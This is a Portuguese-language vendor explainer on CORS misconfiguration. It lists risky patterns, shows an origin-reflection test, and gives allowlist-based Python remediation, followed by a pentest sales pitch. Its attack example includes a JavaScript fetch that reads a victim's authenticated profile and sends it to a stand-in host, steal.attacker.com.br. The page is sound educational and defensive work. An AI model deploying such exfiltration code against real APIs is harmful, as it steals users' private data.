CORS — Misconfiguration de Cross-Origin Resource Sharing
CORS mal configurado permite que sites maliciosos façam requisições autenticadas à sua API. Veja como identificar e explorar CORS wildcards e null origin.
O Que É CORS
Cross-Origin Resource Sharing (CORS) é o mecanismo que controla quais origens externas podem fazer requisições à sua API. Misconfigurations perigosas incluem: (1) Access-Control-Allow-Origin: * com credentials — inválido mas implementações bugadas existem; (2) Reflexão automática do Origin header sem validação; (3) Aceitar null origin (arquivos locais, sandboxed iframes); (4) Validação por prefixo insuficiente (empresa.com.br.attacker.com passa).
Exemplo Real de Ataque
# Teste de reflexão de origin
GET /api/v1/perfil HTTP/1.1
Origin: https://attacker.com.br
Cookie: session=abc123
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://attacker.com.br ← Reflete origin!
Access-Control-Allow-Credentials: true
{"email": "vitima@empresa.com.br", "saldo": 14750.00}
# Exploit (JavaScript em attacker.com.br):
fetch('https://api.empresa.com.br/api/v1/perfil', {credentials: 'include'})
.then(r => r.json())
.then(d => fetch('https://steal.attacker.com.br/?d='+btoa(JSON.stringify(d))))Impacto no Negócio e Compliance
Um atacante hospeda uma página maliciosa que faz requisições autenticadas à sua API usando as credenciais do usuário vítima (cookies, tokens armazenados). Dados são exfiltrados silenciosamente. Em SPAs com JWT em localStorage: qualquer origem pode ler se CORS estiver mal configurado.
Como Remediar
# ✅ REMEDIAÇÃO: Lista de origens explícita e validação exata
ALLOWED_ORIGINS = {
"https://app.empresa.com.br",
"https://www.empresa.com.br",
# Nunca adicione * se usar credentials
}
def cors_middleware(request, response):
origin = request.headers.get("Origin", "")
# Validação exata — NUNCA use startswith() ou regex frouxo
if origin in ALLOWED_ORIGINS:
response.headers["Access-Control-Allow-Origin"] = origin
response.headers["Access-Control-Allow-Credentials"] = "true"
response.headers["Vary"] = "Origin" # Essencial para cache correto
# Se origin não está na lista: não adicione o header — browser bloquearáComo a Veyronn Detecta Esta Vulnerabilidade
Testamos CORS enviando múltiplos headers Origin (subdomínios, domínio atacante, null, HTTP/HTTPS mix) e verificamos a resposta Access-Control-Allow-Origin + Access-Control-Allow-Credentials para identificar misconfigurations exploráveis.
Vulnerabilidades Relacionadas
Pronto para Contratar seu Próximo Pentest?
Adquira nossa avaliação pontual feita pelos melhores profissionais do mercado ou implemente o software da Veyronn 24/7.
